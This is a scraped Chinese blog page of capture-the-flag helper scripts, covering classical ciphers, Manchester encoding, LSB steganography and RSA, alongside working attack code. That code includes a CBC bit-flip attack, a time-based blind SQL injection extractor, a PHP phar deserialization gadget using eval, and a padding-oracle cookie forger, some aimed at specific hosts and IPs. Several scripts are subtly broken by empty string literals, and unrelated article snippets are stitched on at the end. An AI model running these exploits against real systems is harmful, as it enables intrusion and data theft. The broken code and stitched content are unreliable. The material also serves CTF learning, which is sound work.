CTF辅助脚本
首先推荐这篇文章,网上有多次转载,这是我见过日期比较早的 CTF中那些脑洞大开的编码和加密
凯撒密码
 flag='flag{abcdef}'
 c=''
 n=20
 for i in flag:
     if 'a' <= i <='z':
         i=chr(((ord(i)-ord('a'))+n)%26+ord('a'))
     c+=i
 print c
栅栏密码
n= 5
m = "flag{0123456789abcdef}"
c=''
for x in range(n):
for i in range(len(m)):
if((n - i + x) % n == 0):
c+=m[i]
print c n=5
m=''
c=list(c)
zero=(n-len(c))%n
n=(len(c)+zero)/n
if zero != 0:
for i in range(1,zero):
c.insert(-n*i+1,'')
c.append('')
for x in range(n):
for i in range(len(c)):
if((n - i + x) % n == 0):
m+=c[i]
if zero!= 0:
m=m[:-zero]
print m
曼彻斯特编码与解码
 flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
 s=''
 for i in range(len(flag)):
     if flag[i]=='':
         s+=''
     else:
         s+=''
 print hex(int(s,2))[2:-1]
 #296969a56956696a6a9a5a555a565a595a5a5a655a665a695a6a5a955a9669566959695a6965696669696aa6
 r=""
 for i in range(len(s)/2):
     if s[i*2:i*2+2] == '':
         r += ''
     else:
         r += ''
 print hex(int(r,2))[2:-1].decode('hex')
 #flag{0123456789abcdef}
差分曼彻斯特编码与解码
#coding=utf-8
flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s='' # or '10'
for i in range(len(flag)):
if flag[i]=='':
s+=s[-2:][::-1]
else:
s+=s[-2:]
print hex(int(s,2))[2:-1]
#6565659565569a99665959555956a6a55959596aa696a69aa69959aaa6569aa9655a9aa69a95656965656669
r=""
tmp = 0
for i in xrange(len(s)/2):
c = s[i*2]
if c == s[i*2 - 1]:
r += ''
else:
r += ''
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}
lsb隐写
#coding=utf-8
from PIL import Image
import binascii
import random im_path = 'timg.jpg'
im = Image.open(im_path)
width, height = im.size
newImg = Image.new("RGBA",(width, height),(255,255,255,120))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
newImg.putpixel((j,i),(a,b,c,180))
newImg.save('new.bmp','PNG') flag=binascii.b2a_hex('flag{123456}')
flag= bin(int(flag,16))[2:]
flag= ''*(8-len(flag)%8)+flag
print flag newImg = Image.new("RGB",(width, height),(0,0,0))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
try: #将末尾像素置0后写入
newImg.putpixel((j,i),(a-a%2+int(flag[i*width+j]),b-b%2+int(flag[i*width+j]),c-c%2+int(flag[i*width+j])))
except:
try: #其余像素奇偶随机
newImg.putpixel((j,i),(a-random.randint(0,1),b-random.randint(0,1),c-random.randint(0,1)))
except:
newImg.putpixel((j,i),(a,b,c))
newImg.save('new.png','PNG')
cbc字节翻转攻击
import requests
enc='2363303cf2fae8b1bbe443fe2d12947e5abcf9c0ceb12ce5fd3a43504de0bf0621b9917a715dad17f828ff0ace6ec816'.decode('hex')
m='Welcome to the code system!This is a test string'
fake='uu=admin&ff=php://input&ccc=nl *' iv=enc[16:32]
m1=m[32:]
fake1=fake[16:]
fake_iv='' for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake1[i])^ord(m1[i]))
enc=enc[:16]+fake_iv+enc[32:] m=requests.get('http://race.taropowder.cn:20002/?s='+enc.encode('hex')).content iv=enc[:16]
m2=m[16:32]
fake2=fake[:16] fake_iv=''
for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake2[i])^ord(m2[i]))
enc=fake_iv+enc[16:] m=requests.post('http://race.taropowder.cn:20002/?s='+enc.encode('hex'),data='phpinfo').content print m
flask session伪造
from flask import Flask, session
import uuid
import urllib.request
app = Flask(__name__)
app.config['SECRET_KEY']='' @app.route('/')
def index():
session['username']='user'
session['isadmin']=''
return 'hello' if __name__ == "__main__":
app.run(debug=True,port=8000,host="0.0.0.0")
RSA demo
from gmpy2 import *
e=65537
p=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927
q=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447
n=p*q
c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406
x=long((p-1) * (q-1))
d= invert(e,x)
m=pow(c,d,n)
print hex(m)[2:].decode('hex')
SQL注入辅助
import requests
import time
url='http://172.16.124.149/Less-10/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
phar反序列化demo
<?php
//把要进行反序列化的对象放在此处
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
//生成对应可被利用的对象
$o = new foo();
$o->ha='echo "error";';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
padding oracel
import requests
import urllib host='124.193.74.211'
port=''
#host='127.0.0.1'
#port='80'
url='http://%s:%s/login.php'%(host,port)
session = requests.session()
session.post(url=url,data={'username':'admin','password':'admin'}) im=[]
for i in range(1,17):
try:
s=''
xx=''
for j in im[::-1]:
xx+=chr(i^j)
for j in range(256):
s='\xff'*(16-i)+chr(j)+xx
s=s.encode('base64')
session.cookies.set('token',urllib.quote(s),domain=host,path='/')
x=session.get(url).text
if 'Error' not in x:
im.append(j^i)
print s.decode('base64').encode('hex')
break
print im
except Exception as e:
print e,'\n' for j in range(256): s='\x0f'*15
token=''
for i in range(15):
token+=chr(im[::-1][i]^ord(s[i]))
token=chr(j)+token
token=token.encode('base64')
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
if 'Error' in x:
im.append(j^ord(''))
print im
break im=im[::-1]
s='onepiece'+chr(8)*8
token=''
for i in range(16):
token+=chr(im[i]^ord(s[i]))
token=token.encode('base64')[:-1]
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
print session.cookies,x
爆破图片crc
import binascii for i in range(16**4):
i=hex(i)[2:].zfill(4)
for j in range(16**4):
j=hex(j)[2:].zfill(4)
s= '%08x' % (binascii.crc32('IHDR'+'0000{i}0000{j}0802000000'.format(i=i,j=j).decode('hex')) & 0xffffffff)
if s=='53d1578a':
print 'x:',i,'y:',j,'crc:',s
print 'x:',i
CTF辅助脚本的更多相关文章
- gcov辅助脚本
		
gcov辅助脚本(金庆的专栏)代码覆盖测试查看结果时,需要进入代码所在目录,调用gcov,然后vi查看.因为代码目录结构复杂,进出子目录太麻烦,所以用以下脚本直接生成与查看.一般是用TSVN列出有更改 ...
 - [Python] 用python做一个游戏辅助脚本,完整思路
		
一.说明 简述:本文将以4399小游戏<宠物连连看经典版2>作为测试案例,通过识别小图标,模拟鼠标点击,快速完成配对.对于有兴趣学习游戏脚本的同学有一定的帮助. 运行环境:Win10/Py ...
 - CTF写脚本
		
今天总结一下CTF如何写脚本快速得分....(比较菜,能力有限,大佬勿喷) 所谓的写脚本得分,就是利用了 python爬虫的思想,如果之前没有听说过的话,可以去爬虫的相关语法.如果是看网上的视频的话, ...
 - py-faster-rcnn几个辅助脚本
		
py-faster-rcnn本身代码很棒. 不过使用它的时候,还是需要自己写一些脚本,作为辅助. 1 所有.py文件顶部添加utf8编码声明.因为有时候需要添加中文注释,不声明编码会报错 #inser ...
 - Acunetix Web Vulnerability Scanner Python辅助脚本
		
WvsScannerQueue.pyVersion: Python 2.7.* Acunetix Web Vulnerability Scanner 辅助Python脚本的第一个版本.功能:扫描URL ...
 - 编写简单的辅助脚本来在 Google 表格上记账
		
我的第二份工作入职在即,而这一次则真的是完全跑到了一个陌生的城市了.租房,购置相关用品,还尚未工作钱就花掉一堆.尽管我个人之前一直都没有过记账的习惯,但为了让自己能够搞清楚自己的钱都花在哪里了,于是还 ...
 - 简陋的swift carthage copy-frameworks 辅助脚本
		
在看 carthage 时,其中需要配置一个 copy-frameworks 脚本,此脚本特殊的地方,需要手动填写 Input Files 和 Output Files.一个一个填写,很糟心~ 观察了 ...
 - [W3bSafe]Metasploit溢出渗透内网主机辅助脚本
		
文章来源i春秋 脚本用Shell编写 有的内网特别脆弱 本脚本主要就是 测试的话方便一点 输入内网网关就能调用Metasploit全部模块测试整个内网 运行截图<ignore_js_op ...
 - " XSS易容术---bypass之编码混淆篇+辅助脚本编写"
		
一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...
 
随机推荐
- 高射炮打蚊子,杀鸡用绝世好剑:在SAP Kyma上运行UI5应用
			
国人在表述"大材小用"这个场景时,总喜欢用一些实物来类比,比如:高射炮打蚊子. 英国QF 3.7英寸(94mm)高射炮,战斗全重超过9.3吨,全长近5米,最大射程约18公里,最大射 ...
 - dubbo线程池作用于接口而不是方法
			
记一次线上dubbo服务超时和线程池满问题排查 可能调用的接口没问题,但是该服务中的其他接口占用完了线程池,导致调用超时被拒绝处理.
 - Eclipse安装windowsbuilder
			
详见:https://www.cnblogs.com/plusplus/p/9864708.html https://www.cnblogs.com/lsy-blogs/p/7717036.html ...
 - 【Hibernate】检索方式
			
一.概述 二.HQL 2.1 简介 2.2 查询所有记录 2.3 查询使用别名 2.4 排序 2.5 分页查询 2.6 单个对象查询 2.7 参数绑定 2.8 投影操作 2.9 模糊查询 2.10 S ...
 - oracle通过一个字段分组,取另一个字段的最大值
			
select * from bdcdj.lqentry1 a where 顺序号 in (select max(顺序号) from bdcdj.lqentry1 b WHERE b.archival ...
 - SQL ISNULL 参数
			
SQL Server 中有两个参数,语法: ISNULL(check_expression, replacement_value) check_expression 与 replacement ...
 - springboot  @value 注解的使用
			
1,通过@value来注入对应的值,直接在字段上添加@value 获取application.properties文件中的值. @Configuration public class DemoConf ...
 - 2018/7/31-zznu-oj-问题 F: 手机密码--【裸dfs+for循环即可!——据说三个小时内只有两个人读完了题意并轻松AC了】
			
问题 F: 手机密码 时间限制: 1 Sec 内存限制: 128 MB提交: 41 解决: 23[提交] [状态] [讨论版] [命题人:admin] 题目描述 手机安全问题是大家经常关心的一个问 ...
 - 《流畅的Python》Data Structures--第3章 dict 和 set
			
dict and set 字典数据活跃在所有的python程序背后,即使你的源码里并没有直接使用它. 和dict有关的内置函数在模块builtins的__dict__内. >>> _ ...
 - 前端知识体系:JavaScript基础-作用域和闭包-闭包的实现原理和作用以及堆栈溢出和内存泄漏原理和相应解决办法
			
闭包的实现原理和作用 闭包: 有权访问另一个函数作用域中的变量的函数. 创建闭包的常见方式就是,在一个函数中创建另一个函数. 闭包的作用: 访问函数内部变量.保持函数在环境中一直存在,不会被垃圾回收机 ...